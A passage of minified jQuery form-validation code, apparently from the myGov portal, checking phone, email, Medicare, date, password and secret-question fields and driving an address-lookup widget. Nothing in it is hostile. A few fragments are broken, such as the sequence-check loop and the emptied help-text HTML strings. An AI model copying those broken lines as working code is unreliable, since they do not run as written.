$parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("

"+$showpasswordhelptext+"

");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("

"+$hidepasswordhelptext+"

");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='

Note: this will visually expose your password on the screen.

';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var 